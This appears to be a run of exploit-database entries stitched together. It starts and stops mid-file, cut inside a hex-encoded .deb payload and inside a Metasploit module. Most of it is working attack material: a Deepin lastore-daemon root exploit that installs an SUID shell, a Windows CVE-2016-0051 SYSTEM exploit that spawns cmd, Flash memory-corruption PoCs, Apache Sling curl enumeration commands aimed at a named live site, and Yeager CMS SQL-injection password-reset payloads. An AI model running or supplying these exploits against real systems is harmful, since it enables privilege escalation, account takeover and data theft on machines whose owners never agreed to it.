'0xb', '0xad', '0xc8', '0x5f', '0x2f', '0xb7', '0x9b', '0x4', '0x80', '0xd2', '0xb0', '0x4e', '0x9e', '0xba', '0x5b', '0xe8', '0x9a', '0xd8', '0xb1', '0xdb',
'0x4', '0x98', '0x2f', '0x3c', '0x94', '0x32', '0xd6', '0xe3', '0x4f', '0x64', '0xa7', '0xed', '0x6c', '0x98', '0x8', '0xce', '0x1', '0xb7', '0x6f', '0xf0',
'0x41', '0xec', '0x90', '0x9d', '0xd2', '0xcc', '0xdb', '0x3d', '0x94', '0x23', '0xbd', '0x5c', '0x32', '0x8f', '0x41', '0xe9', '0x5e', '0xaf', '0x2a', '0xe3',
'0xd4', '0x8', '0x10', '0xc8', '0x96', '0x8f', '0xda', '0xef', '0xd2', '0x7a', '0x4d', '0x19', '0xa9', '0x99', '0x7e', '0x16', '0xc4', '0x71', '0xcf', '0x63',
'0xed', '0xc9', '0x7f', '0xe8', '0xb9', '0x99', '0xed', '0x75', '0xa2', '0xbc', '0xdb', '0x8', '0x6b', '0x15', '0x49', '0x44', '0x73', '0x3f', '0xdd', '0x59',
'0x39', '0xfd', '0x39', '0xbc', '0x9e', '0x79', '0xf3', '0x71', '0x74', '0xf5', '0xd8', '0x49', '0x8e', '0x7d', '0xf4', '0xba', '0x5b', '0x2d', '0x3c', '0xc6',
'0x68', '0x15', '0xa8', '0x6b', '0x2', '0x7c', '0x63', '0xab', '0x9e', '0xb9', '0x60', '0xdf', '0x3b', '0x46', '0x8', '0x48', '0x6', '0xb4', '0x55', '0x7d',
'0x55', '0xe4', '0xa6', '0xd2', '0x34', '0xb4', '0x33', '0xbf', '0xf9', '0xfc', '0xbc', '0x30', '0x62', '0xcd', '0xfd', '0x4d', '0x69', '0x19', '0xe8', '0xe2',
'0xd5', '0x58', '0x6c', '0x57', '0x8c', '0xb7', '0x8b', '0x45', '0xbe', '0xcd', '0xa9', '0x6b', '0x0', '0x7b', '0xba', '0xbb', '0x3', '0x18', '0xb9', '0xb5',
'0x80', '0xa7', '0xfb', '0xf4', '0x13', '0xeb', '0x34', '0xd8', '0x35', '0x60', '0xa7', '0x39', '0xc9', '0xf9', '0x78', '0xa2', '0x3a', '0xee', '0x97', '0xfc',
'0x49', '0xaa', '0x6a', '0xe1', '0x34', '0x2b', '0x45', '0x94', '0x39', '0x94', '0x90', '0x2d', '0x28', '0x31', '0xbc', '0xc', '0x62', '0x73', '0xef', '0xd5',
'0xb', '0x41', '0x1b', '0xaa', '0x40', '0xa', '0x79', '0x86', '0x20', '0x7f', '0xfe', '0xc5', '0x7f', '0x8b', '0xd0', '0x1b', '0x40', '0xe4', '0x26', '0x8c',
'0xb3', '0xce', '0x9e', '0x67', '0xd7', '0x3e', '0xcd', '0x83', '0xa4', '0xdb', '0xa0', '0x8c', '0x6e', '0xcb', '0x3e', '0xee', '0x13', '0xb2', '0x3f', '0x16',
'0x2', '0xd9', '0x9c', '0x23', '0x30', '0xac', '0x86', '0xee', '0x38', '0xde', '0x60', '0x75', '0x32', '0x4b', '0x5f', '0xe5', '0x3d', '0x8', '0xc9', '0x86',
'0xe5', '0x91', '0x40', '0x33', '0x54', '0xb8', '0x30', '0x5b', '0x7a', '0x96', '0xb7', '0x86', '0x6', '0x9f', '0xc0', '0x22', '0xe1', '0x11', '0xc5', '0xee',
'0xc', '0x3b', '0xa7', '0xe6', '0xff', '0xe', '0xcf', '0xce', '0xd5', '0xd8', '0x10', '0x36', '0x80', '0x12', '0xaf', '0x87', '0x5', '0x52', '0xda', '0x0',
'0xab', '0x87', '0xd0', '0xe5', '0xd1', '0xa7', '0xa', '0xf8', '0x6f', '0x32', '0x62', '0x43', '0x6e', '0x5f', '0xaf', '0x28', '0xb2', '0xbd', '0xe2', '0x4e',
'0xcf', '0xd7', '0xbc', '0xe7', '0x83', '0x5e', '0x81', '0x1f', '0x4c', '0xe9', '0x4f', '0xfe', '0x79', '0x2', '0xcd', '0xec', '0xc8', '0x5e', '0x45', '0xc9',
'0x87', '0x16', '0x8b', '0x8d', '0x79', '0x75', '0xad', '0x0', '0x0', '0x0', '0x5', '0x30', '0xb9', '0xc6', '0x10', '0x95', '0x49', '0xa4', '0x0', '0x1',
'0xcf', '0x8a', '0x3', '0x80', '0x90', '0x8', '0xc9', '0x66', '0xa7', '0x54', '0xb1', '0xc4', '0x67', '0xfb', '0x2', '0x0', '0x0', '0x0', '0x0', '0x4',
'0x59', '0x5a'
]
file_out = open(deb_file_path, "wb")
for i in deb_data:
file_out.write(chr(int(i, 16)))
file_out.close()
if __name__ == '__main__':
# First to prepare fake package and package list file
print "Trying to prepare files in /tmp..."
if not os.path.exists("/tmp/lists"):
os.mkdir("/tmp/lists")
if not os.path.exists("/tmp/archives"):
os.mkdir("/tmp/archives")
create_deb("/tmp/archives/deepinhack_0.0.1_amd64.deb")
lists = open("/tmp/lists/packages.deepin.com_deepin_dists_unstable_main_binary-amd64_Packages", "w")
lists.write("Package: deepinhack\n"
"Version: 0.0.1\n"
"Maintainer: King's Way <root#kings-way.info>\n"
"Architecture: amd64\n"
"Size: 51122\n"
"SHA256: 3c135fb86c3a018060b55e748ad7e12b484433f1743b704ffc14e1a32f46ad12\n"
"SHA1: d0c93664608c06433d3a95629258d5ed246d946a\n"
"MD5sum: 1c15a6e8346c44c6e8c23a4becca839e\n"
"Description: privilege escalation POC for deepin 15 with lastore-daemon. Created by King's Way @ 20160130\n"
"Description-md5: c8dc28d1e85139704ec222606f31c6f9\n"
"Section: utils\n"
"Priority: optional\n"
"Filename: pool/main/d/deepinhack_0.0.1_amd64.deb\n")
lists.close()
# Connect to SystemBus and Get the interface of lastore.Manager
print "Trying to connect to SystemBus and Get the interface of lastore.Manager..."
bus = dbus.SystemBus()
proxy_object = bus.get_object("com.deepin.lastore", "/com/deepin/lastore")
lastore_interface = dbus.Interface(proxy_object, "com.deepin.lastore.Manager")
# Submit a job to install deepinhack
print "Trying to submit a job to install deepinhack..."
reply = lastore_interface.InstallPackage("deepinhack_install", "-o Dir::State::Lists=/tmp/lists -o Dir::Cache::Archives=/tmp/archives -y --allow-unauthenticated deepinhack")
print "Reply from lastore.Manager: ", reply
print "Just wait and see..."
while not os.path.exists("/usr/bin/deepinhack"):
print "Have not found deepinhack in /usr/bin/... Sleep for 2 seconds..."
time.sleep(2)
print "\nFound it! Trying to run..."
os.system("/usr/bin/deepinhack")
choice = raw_input("\n\n /usr/bin/deepinhack is copied from dash and with SUID bit\n"
" Do you want to remove the deepinhack Package? [y/N] ")
if choice == 'y':
lastore_interface.RemovePackage("deepinhack_remove", "deepinhack")
print "\nMessage has been sent to lastore-daemon...\n" \
"Quitting now..."
bus.close()
quit(0)
Source: https://code.google.com/p/google-security-research/issues/detail?id=667
There is a use-after-free in LoadVars.decode. If a watch is set on the object that the parameters are being decoded into, and the watch deletes the object, then other methods are called on the deleted object after it is freed. A PoC is as follows:
var lv = new LoadVars();
var f = lv.decode;
var tf = this.createTextField("tf",1, 2, 3, 4, 5);
tf.natalie = "not test";
tf.watch("natalie", func);
f.call(tf, "natalie=test&bob=1");
trace(tf.natalie);
function func(){
trace("here");
tf.removeTextField();
return "test";
}
A sample swf and fla are attached. This issue was reproduced in Chrome on 64-bit Ubuntu.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39463.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=632
There is an out-of-bounds read in H264 parsing, a fuzzed file is attached. To load, load LoadMP4.swf with the URL parameter file=compute_poc.flv from a remote server.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39464.zip
/*
source: https://github.com/koczkatamas/CVE-2016-0051
Proof-of-concept BSoD (Blue Screen of Death) code for CVE-2016-0051 (MS-016).
Full Proof of Concept:
- https://github.com/koczkatamas/CVE-2016-0051/archive/master.zip
- https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39432-1.zip
Elevation of Privilege (SYSTEM) exploit for CVE-2016-0051 (MS16-016) for Windows 7 SP1 x86 (build 7601)
Creator: Tamás Koczka (@koczkatamas - https://twitter.com/koczkatamas)
Original source: https://github.com/koczkatamas/CVE-2016-0051
*/
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
using System.Threading;
namespace EoP
{
class Program
{
#region Fake WebDAV server
static void StartFakeWebDavServer(int port)
{
new Thread(() =>
{
var server = new TcpListener(IPAddress.Loopback, port);
server.Start();
while (true)
{
using (var client = server.AcceptTcpClient())
using (var stream = client.GetStream())
using (var reader = new StreamReader(stream, Encoding.GetEncoding("iso-8859-1")))
using (var writer = new StreamWriter(stream, Encoding.GetEncoding("iso-8859-1")) { AutoFlush = true })
{
Func<string> rl = () =>
{
var line = reader.ReadLine();
//Console.WriteLine("< " + line);
return line;
};
Action<string> wl = outData =>
{
//Console.WriteLine(String.Join("\n", outData.Split('\n').Select(x => "> " + x)));
writer.Write(outData);
};
var hdrLine = rl();
Console.WriteLine("[*] Request: " + hdrLine);
var header = hdrLine.Split(' ');
while (!string.IsNullOrEmpty(rl())) { }
if (header[0] == "OPTIONS")
wl("HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n");
else if (header[0] == "PROPFIND")
{
var body = String.Format(@"
<?xml version=""1.0"" encoding=""UTF-8""?>
<D:multistatus xmlns:D=""DAV:"">
<D:response>
<D:href>{0}</D:href>
<D:propstat>
<D:prop>
<D:creationdate>{1:s}Z</D:creationdate>
<D:getcontentlength>{3}</D:getcontentlength>
<D:getcontenttype>{4}</D:getcontenttype>
<D:getetag>{5}</D:getetag>
<D:getlastmodified>{6:R}</D:getlastmodified>
<D:resourcetype>{8}</D:resourcetype>
<D:supportedlock></D:supportedlock>
<D:ishidden>{7}</D:ishidden>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>", header[1], DateTime.UtcNow.ToUniversalTime(), "", "0", "", "", DateTime.UtcNow.ToUniversalTime(), 0, header[1].Contains("file") ? "" : "<D:collection></D:collection>").Trim();
wl("HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: " + body.Length + "\r\nContent-Type: text/xml\r\n\r\n" + body);
}
else
wl("HTTP/1.1 500 Internal Server Error\r\n\r\n");
//Console.WriteLine(" =============== END REQUEST =============== ");
}
}
}) { IsBackground = true, Name = "WebDAV server thread" }.Start();
}
#endregion
#region WinAPI
[DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
public static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr securityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);
[StructLayout(LayoutKind.Sequential)]
private class NETRESOURCE
{
public uint dwScope = 0;
public uint dwType = 0;
public uint dwDisplayType = 0;
public uint dwUsage = 0;
public string lpLocalName = null;
public string lpRemoteName = null;
public string lpComment = null;
public string lpProvider = null;
}
[DllImport("mpr.dll")]
private static extern int WNetAddConnection2(NETRESOURCE lpNetResource, string lpPassword, string lpUsername, int dwFlags);
// based on http://www.codeproject.com/Articles/21974/Windows-NT-Native-API-Wrapper-Library
public enum PageProtection : uint
{
NOACCESS = 0x01,
READONLY = 0x02,
READWRITE = 0x04,
WRITECOPY = 0x08,
EXECUTE = 0x10,
EXECUTE_READ = 0x20,
EXECUTE_READWRITE = 0x40,
EXECUTE_WRITECOPY = 0x80,
GUARD = 0x100,
NOCACHE = 0x200,
WRITECOMBINE = 0x400
}
[Flags]
public enum MemoryAllocationType : uint
{
COMMIT = 0x1000,
RESERVE = 0x2000,
FREE = 0x10000,
PRIVATE = 0x20000,
MAPPED = 0x40000,
RESET = 0x80000,
TOP_DOWN = 0x100000,
WRITE_WATCH = 0x200000,
ROTATE = 0x800000,
LARGE_PAGES = 0x20000000,
PHYSICAL = 0x400000,
FOUR_MB_PAGES = 0x80000000
}
[DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false)]
public static extern NtStatus NtAllocateVirtualMemory([In] IntPtr processHandle, [In, Out] ref IntPtr baseAddress, [In] uint zeroBits, [In, Out] ref UIntPtr regionSize, [In] MemoryAllocationType allocationType, [In] PageProtection protect);
public enum FileOpenInformation
{
Superceded = 0x00000000,
Opened = 0x00000001,
Created = 0x00000002,
Overwritten = 0x00000003,
Exists = 0x00000004,
DoesNotExist = 0x00000005
}
internal enum NtStatus : uint
{
SUCCESS = 0x00000000,
INVALID_PARAMETER_1 = 0xC00000EF,
INVALID_PARAMETER_2 = 0xC00000F0,
INVALID_PARAMETER_3 = 0xC00000F1,
INVALID_PARAMETER_4 = 0xC00000F2,
// don't care
}
internal struct IoStatusBlock
{
public NtStatus status;
public InformationUnion Information;
[StructLayout(LayoutKind.Explicit)]
public struct InformationUnion
{
[FieldOffset(0)]
public FileOpenInformation FileOpenInformation;
[FieldOffset(0)]
public uint BytesWritten;
[FieldOffset(0)]
public uint BytesRead;
}
}
[DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false, ExactSpelling = true, PreserveSig = true)]
public static extern NtStatus NtFsControlFile([In] IntPtr fileHandle, [In, Optional] IntPtr Event, [In, Optional] IntPtr apcRoutine, [In, Optional] IntPtr apcContext, [Out] out IoStatusBlock ioStatusBlock, [In] uint fsControlCode, [In, Optional] IntPtr inputBuffer, [In] uint inputBufferLength, [Out, Optional] IntPtr outputBuffer, [In] uint outputBufferLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate int LoadAndGetKernelBasePtr();
[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
#endregion
private static byte[] il(params uint[] inp) { return inp.SelectMany(BitConverter.GetBytes).ToArray(); }
private static byte[] z(int c) { return rep(0, c); }
private static byte[] rep(byte b, int c) { return Enumerable.Repeat(b, c).ToArray(); }
private static byte[] fl(byte[][] inp) { return inp.SelectMany(x => x).ToArray(); }
public static void Main(string[] args)
{
var shellcodeDll = LoadLibrary("shellcode.dll");
var shellcodeFunc = GetProcAddress(shellcodeDll, "_shellcode@8");
var loadAndGetKernelBaseFunc = GetProcAddress(shellcodeDll, "_LoadAndGetKernelBase@0");
var loadAndGetKernelBase = (LoadAndGetKernelBasePtr)Marshal.GetDelegateForFunctionPointer(loadAndGetKernelBaseFunc, typeof(LoadAndGetKernelBasePtr));
var loadResult = loadAndGetKernelBase();
Console.WriteLine($"[*] LoadAndGetKernelBase result = {loadResult}");
var addr = new IntPtr(0x1000);
var size = new UIntPtr(0x4000);
var result = NtAllocateVirtualMemory(new IntPtr(-1), ref addr, 0, ref size, MemoryAllocationType.RESERVE | MemoryAllocationType.COMMIT, PageProtection.READWRITE);
Console.WriteLine($"[*] NtAllocateVirtualMemory result = {result}, addr = {addr}, size = {size}");
if (result != NtStatus.SUCCESS || loadResult != 0)
Console.WriteLine("[-] Fail... so sad :(");
else
{
Console.WriteLine("[*] Creating fake DeviceObject, DriverObject, etc structures...");
var payload = fl(new[] { z(8), /* [0x8]DriverObject=0 */ il(0), z(0x30 - 8 - 4), /* [0x30]StackSize=256 */ il(0x10, 0), z(13 * 4), il((uint)shellcodeFunc.ToInt32()) });
Marshal.Copy(payload, 1, new IntPtr(1), payload.Length - 1);
var p = new Random().Next(1024, 65535);
Console.WriteLine("[*] Starting fake webdav server...");
StartFakeWebDavServer(p);
Console.WriteLine("[*] Calling WNetAddConnection2...");
var addConnectionResult = WNetAddConnection2(new NETRESOURCE { lpRemoteName = $@"\\127.0.0.1@{p}\folder\" }, null, null, 0);
Console.WriteLine("[*] WNetAddConnection2 = " + addConnectionResult);
var fileHandle = CreateFile($@"\\127.0.0.1@{p}\folder\file", 0x80, 7, IntPtr.Zero, 3, 0, IntPtr.Zero);
Console.WriteLine($"[*] CreateFile result = {fileHandle}");
IoStatusBlock ioStatusBlock;
var inputLen = 24;
var inputPtr = Marshal.AllocHGlobal(inputLen);
var outputLen = 4;
var outputPtr = Marshal.AllocHGlobal(outputLen);
var controlResult = NtFsControlFile(fileHandle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, out ioStatusBlock, 0x900DBu, inputPtr, (uint)inputLen, outputPtr, (uint)outputLen);
Console.WriteLine($"[*] NtFsControlFile result = {controlResult}");
var identity = WindowsIdentity.GetCurrent();
if (identity?.IsSystem == true)
{
Console.WriteLine("[+] Got SYSTEM! Spawning a shell...");
Process.Start("cmd");
}
else
Console.WriteLine($"[-] Something went wrong, looks like we are not SYSTEM :(, only {identity?.Name}...");
}
Console.WriteLine("");
Console.WriteLine("Press ENTER to exit.");
Console.ReadLine();
}
}
}
Document Title:
===============
Apache Sling Framework v2.3.6 (Adobe AEM) [CVE-2016-0956] - Information Disclosure Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1536
Adobe Bulletin: https://helpx.adobe.com/security/products/experience-manager/apsb16-05.html
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-0956
Vulnerability Magazine: http://magazine.vulnerability-db.com/?q=articles/2016/02/10/apache-sling-fw-v236-remote-slingpostservlet-exception-vulnerability
CVE-ID:
=======
CVE-2016-0956
Release Date:
=============
2016-02-10
Vulnerability Laboratory ID (VL-ID):
====================================
1536
Common Vulnerability Scoring System:
====================================
6.4
Product & Service Introduction:
===============================
Apache Sling is a web framework that uses a Java Content Repository, such as Apache Jackrabbit, to store and manage content. Sling applications use either scripts
or Java servlets, selected based on simple name conventions, to process HTTP requests in a RESTful way. The embedded Apache Felix OSGi framework and console provide
a dynamic runtime environment, where code and content bundles can be loaded, unloaded and reconfigured at runtime. As the first web framework dedicated to JSR-170
Java Content Repositories, Sling makes it very simple to implement simple applications, while providing an enterprise-level framework for more complex applications.
(Copy of the Vendor Homepage: http://sling.apache.org/)
Adobe Experience Manager (AEM) provides a complete suite of applications for the Web Experience Management (WEM) of organizations.
(Copy of the Vendor Homepage: https://docs.adobe.com/docs/en/aem/6-1.html )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered a remote vulnerability in the official Apache Sling Framwork v2.3.6 software.
Vulnerability Disclosure Timeline:
==================================
2016-02-10: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Apache Software Foundation
Product: Apache Sling - Framework (Adobe AEM) 2.3.6
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
It seems that on some instances of AEM, due to lack of proper security controls and or misconfiguration, it is possible for remote unauthenticated
users to enumerate local system files/folders that arent accessible publicly to unauthenticated users.
This can be achieved by sending a `delete` requests to the SlingPostServlet which in return, responds back with a 500 exception page and the
following exception message: (org.apache.sling.api.resource.PersistenceException - Unable to commit changes to session)
No actual files are deleted with this request however, the HTML response contains a `ChangeLog` field which is where all enumerated folder/file
names are displayed (if existing). For instance, following POC command can be used to reproduce the said behavior.
curl -F``:operation=delete`` -F``:applyTo=/foldername/*`` http://website.com/path/file.html
To reproduce this in real world, I found an adobe website which is currently affected with this behavior. You can use the following CURL command
to reproduce the POC:
curl -F``:operation=delete`` -F``:applyTo=/etc/*`` https://server/content/adobedemolab/welcome-page.html
Note: This curl command should enumerate all files/folders which currently exist in /etc folder
This vulnerability currently affects major websites i.e. almost every instance of Adobe AEM published on the internet. Some references are included below for reference.
Affected Framework(s):
Apache Sling
Affected Product(s)
Adobe AEM (All Versions)
Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers without privilege system user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
PoC:
1. curl -F":operation=delete" -F":applyTo=/foldername/*" http://website.com/path/file.html
2. curl -F":operation=delete" -F":applyTo=/etc/*" https://www.adobedemo.com/content/adobedemolab/welcome-page.html
Solution - Fix & Patch:
=======================
The vulnerability is fixed in version Servlets POST 2.3.8. Please update by by automatic request or implement the manual fix.
Adobe: Hot fix 6445 resolves an information disclosure vulnerability affecting Apache Sling Servlets Post 2.3.6 (CVE-2016-0956).
Security Risk:
==============
The security risk of the exception software vulnerability in the apache sling framework is estimated as high. (CVSS 6.4)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Ateeq Khan (ateeq@evolution-sec.com) [www.vulnerability-lab.com] (https://twitter.com/cybercrimenews)
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
SEC Consult Vulnerability Lab Security Advisory < 20160210-0 >
=======================================================================
title: Multiple Vulnerabilities
product: Yeager CMS
vulnerable version: 1.2.1
fixed version: 1.3
CVE number: CVE-2015-7567, CVE-2015-7568, CVE-2015-7569, CVE-2015-7570
,
CVE-2015-7571, CVE-2015-7572
impact: Critical
homepage: http://yeager.cm/en/home/
found: 2015-11-18
by: P. Morimoto (Office Bangkok)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Bangkok - Berlin - Frankfurt/Main - Montreal - Moscow
Singapore - Vienna (HQ) - Vilnius - Zurich
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
Yeager is an open source CMS that aims to become the most cost/time-effective
solution for medium and large web sites and applications.
Business recommendation:
------------------------
Yeager CMS suffers from multiple vulnerabilities due to improper input
validation and unprotected test scripts. By exploiting these vulnerabilities
an attacker could:
1. Change user's passwords including the administrator's account.
2. Gain full access to the Yeager CMS database.
3. Determine internal servers that inaccessible from the Internet.
4. Attack other users of the Yeager CMS with Cross-Site Scripting.
SEC Consult recommends not to use this software until a thorough security
review has been performed by security professionals and all identified
issues have been resolved.
Vulnerability overview/description:
-----------------------------------
1. Unauthenticated Blind SQL Injection (CVE-2015-7567, CVE-2015-7568)
2. Post-authentication Blind SQL Injection (CVE-2015-7569)
3. Unauthenticated Arbitrary File Upload (CVE-2015-7571)
4. Unauthenticated Server-side Request Forgery (CVE-2015-7570)
5. Non-permanent Cross-site Scripting (CVE-2015-7572)
Proof of concept:
-----------------
1. Unauthenticated Blind SQL Injection (CVE-2015-7567, CVE-2015-7568)
http://<host>/yeager/?action=passwordreset&token=<SQL Injection>
http://<host>/yeager/y.php/responder?handler=setNewPassword&us=sess_20000&lh=70
&data=["noevent",{"yg_property":"setNewPassword","params":{"userToken":"<SQL
Injection>"}}]
The vulnerability can also be used for unauthorized reset password of any user.
In order to reset a specific user's password, an attacker will need to provide
a valid email address of the user that he wants to attack.
The email can be retrieved by either social engineering or using the
aforementioned unauthenticated SQL injection vulnerability.
http://<host>/yeager/y.php/responder?handler=recoverLogin&us=sess_20000&lh=70&d
ata=["noevent",{"yg_property":"recoverLogin","params":{"userEmail":"<victim@ema
il.com>","winID":"1"}}]
The above URL just simply creates and sends a reset password token to the
user's email. Next, even if attacker does not know the token,
manipulating SQL commands allows to force to set the new password instantly.
Note that new password MUST be at least 8 characters in length
and must contain both letters and numbers.
http://<host>/yeager/y.php/responder?handler=setNewPassword&us=sess_20000&lh=70
&data=["noevent",{"yg_property":"setNewPassword","params":{"userToken":"'+or+ui
d=(select+id+from+yg_user+where+login='<victim@email.com>')+limit+1--+-","userP
assword":"<new-password>","winID":"1"}}]
2. Post-authentication Blind SQL Injection (CVE-2015-7569)
http://<host>/yeager/y.php/tab_USERLIST
POST Data:
win_no=4&yg_id=2-user&yg_type=user&wid=wid_4&refresh=1&initload=&us=sess_16000&
lh=325&pagedir_page=2&pagedir_perpage=1&pagedir_orderby=<SQL
Injection>&pagedir_orderdir=4&pagedir_from=5&pagedir_limit=6,7&newRole=1
3. Unauthenticated Arbitrary File Upload (CVE-2015-7571)
A publicly known Arbitrary File Upload vulnerability of Plupload was found in
Yeager CMS.
Fortunately, to successfully exploit the vulnerability requires PHP directive
"upload_tmp_dir" set to an existing directory and it must contain the writable
directory "plupload".
By default, the PHP directive "upload_tmp_dir" is an empty value.
As a result, the script will attempt to upload a file to /plupload/ instead
which generally does not exist on the filesystem.
http://<host>/yeager/ui/js/3rd/plupload/examples/upload.php
4. Unauthenticated Server-side Request Forgery (CVE-2015-7570)
http://<host>/yeager/libs/org/adodb_lite/tests/test_adodb_lite.php
http://<host>/yeager/libs/org/adodb_lite/tests/test_datadictionary.php
http://<host>/yeager/libs/org/adodb_lite/tests/test_adodb_lite_sessions.php
The parameter "dbhost" can be used to perform internal port scan using
time delay measurement. An attacker can provide internal IP address
and port number, for example, 10.10.0.1:22. The attacker then compares
time delays from multiple responses in order to determine host
and port availability.
5. Non-permanent Cross-site Scripting (CVE-2015-7572)
A previously published XSS vulnerability of Plupload was found in Yeager CMS.
http://<host>/yeager/ui/js/3rd/plupload/js/plupload.flash.swf?id=\%22%29%29;}ca
tch%28e%29{alert%28/XSS/%29;}//
Vulnerable / tested versions:
-----------------------------
The vulnerabilities have been tested on Yeager CMS 1.2.1
URL: http://yeager.cm/en/download/package/?v=1.2.1.0.0
Vendor contact timeline:
------------------------
2015-12-07: Contacting vendor through office@nexttuesday.de, contact@yeager.cm
2015-12-07: Established secure communication channel
2015-12-07: Sending advisory draft
2015-12-10: Yeager CMS 1.2.2 released for security fixes
2015-12-22: Yeager CMS 1.3 released for security fixes
2016-02-10: Public advisory release
Solution:
---------
The vulnerability has been fixed in Yeager CMS 1.3 and later.
https://github.com/ygcm/yeager/commit/74e0ce518321e659cda54f3f565ca0ce8794dba8#
diff-4200a6e704ae66ada32f35f69796cc71
https://github.com/ygcm/yeager/commit/053a3b98a9a3f4fd94186cbb8994de0a3e8d9307
Workaround:
-----------
No workaround available.
Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult
Bangkok - Berlin - Frankfurt/Main - Montreal - Moscow
Singapore - Vienna (HQ) - Vilnius - Zurich
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/Career.htm
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/About/Contact.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
EOF Pichaya Morimoto / @2015
##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Telnet
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link DCS-930L Authenticated Remote Command Execution',
'Description' => %q{
The D-Link DCS-930L Network Video Camera is vulnerable
to OS Command Injection via the web interface. The vulnerability
exists at /setSystemCommand, which is accessible with credentials.
This vulnerability was present in firmware version 2.01 and fixed
by 2.12.
},
'Author' =>
[
'Nicholas Starke <nick@alephvoid.com>'
],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Dec 20 2015',
'Privileged' => true,
